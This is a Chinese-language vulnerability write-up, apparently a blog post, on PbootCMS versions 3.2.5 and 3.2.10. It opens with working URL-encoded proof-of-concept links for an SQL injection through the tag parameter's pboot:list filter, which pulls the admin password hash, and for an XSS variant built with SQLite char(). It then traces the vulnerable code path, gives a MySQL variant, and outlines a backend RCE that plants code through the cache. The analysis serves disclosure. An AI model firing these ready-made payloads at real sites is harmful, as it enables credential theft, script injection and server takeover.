影响&POC
github最新版本为3.2.10,gitee最新版本是3.2.5,这两个版本测试过后都是可以利用成功的。
一个是sql注入,然后简单延申了一下也可以造成xss。进入后台后是可以进行rce的。
sql injection
http://pbootcms.learn/index.php?tag=ccc%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fpassword%2F**%2Ffrom%2F**%2Fay_user)%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D
XSS
http://pbootcms.learn/index.php?tag=xxx%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fchar(34%2C62%2C60%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C60%2C34))%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D
这里先放出poc。然后简单分析一下漏洞和分享一下心路历程。
get()
这个框架是由这个函数来传递$_GET
参数的。post传参也是同理。
1 | handle.php:376, escape_string() |
然后最后在escape_string中会经过两个函数的处理。
1 | ## 防止跨站脚本攻击 (XSS) |
TagController
apps/home/controller/TagController.php
1 | public function index() |
正常情况下应该这样访问的。
/index.php?p=tag&tag=bnbbb
这样去访问的话tag这个参数的值就会变成index。我们这里直接传入tag参数。
apps/home/controller/IndexController.php 中empty()经过一些处理之后也会走到这个地方。
/index.php?tag=cccc
在parserPositionLabel的时候会将我们tag传递的参数添加入我们的content里面。
然后 parserAfter()->parserListLabel()
根据这个正则匹配规则.然后编写我们的标签。
{pboot:list filter=1=2)UNION/**/SELECT/**/1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/**/#/**/|123 scode=123}[list:link link=asd]{/pboot:list}
截取parserListLabel里面的部分关键代码。
1 | public function parserListLabel($content, $cscode = '') |
最后在getList()中这个else分支里面,获取sql中的数据并返回
1 | if($page){ |
最后的sql语句是这个样子。
1 | SELECT a.id,a.scode,a.subscode,a.title,a.filename,a.outlink,a.date,a.ico,a.pics,a.content,a.enclosure,a.keywords,a.description,a.istop,a.isrecommend,a.isheadline,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,d.name as modelname,d.urlname,e.*,f.gcode FROM ay_content a LEFT JOIN ay_content_sort b INDEXED BY `ay_content_sort_scode` ON a.scode=b.scode LEFT JOIN ay_content_sort c INDEXED BY `ay_content_sort_scode` ON a.subscode=c.scode LEFT JOIN ay_model d INDEXED BY `ay_model_mcode` ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e INDEXED BY `ay_content_ext_contentid` ON a.id=e.contentid WHERE(a.scode in ('123') OR a.subscode='123') AND(a.status=1 AND d.type=2 AND a.date<'2025-04-17 15:45:35') AND(1=2)UNION/**/SELECT/**/1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/**/#/**/ like '%123%') ORDER BY a.istop DESC,a.isrecommend DESC,a.isheadline DESC,a.sorting ASC,a.date DESC,a.id DESC LIMIT 15 OFFSET 0 |
总之就是闭合括号,然后--
注释掉后面内容。完成sql注入。如果是mysql数据库,--
换成 # 即可
1=2)UNION/**/SELECT/**/1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/**/--/**/ like '%123%') ORDER BY a.istop DESC,a.isrecommend DESC,a.isheadline DESC,a.sorting ASC,a.date DESC,a.id DESC LIMIT 15 OFFSET 0
这个密码是md5加密过的。
XSS
既然这个地方可以查ay_user表中的内容。那我们也可以让select输出任何东西。但是get出传入的参数又会经过这两个处理。
1 | ## 防止跨站脚本攻击 (XSS) |
如果是mysql的话直接16进制绕过即可。但是这个框架默认是sqlite。不支持这样写。而且sqlite没有unhex函数。
select 0X223E3C7363726970743E616C6572742831293C2F7363726970743E3C22
然后我找到了这样一个函数 https://sqlite.org/lang_corefunc.html#char
于是便有了如下poc
http://pbootcms.learn/?tag=xxx%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fchar(34%2C62%2C60%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C60%2C34))%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D
后台RCE
core/function/handle.php
这里有一个decode_string会进行html实体解码。
1 | function decode_string($string) |
找寻调用其的地方的时候。
1 | case 'statistical': |
提交的时候这些数据都是post方式提交过去的。开头说过会经过这两个函数的处理。
1 | ## 防止跨站脚本攻击 (XSS) |
我们要找会经过decode_string处理过的数据。对应的就是下面这两个地方。这里插入我们的恶意代码。
点击由上面那个清理所有缓存过后。访问网站首页。然后而已代码就写进了缓存文件,然后再次访问首页加载缓存文件然后执行我们的而已代码。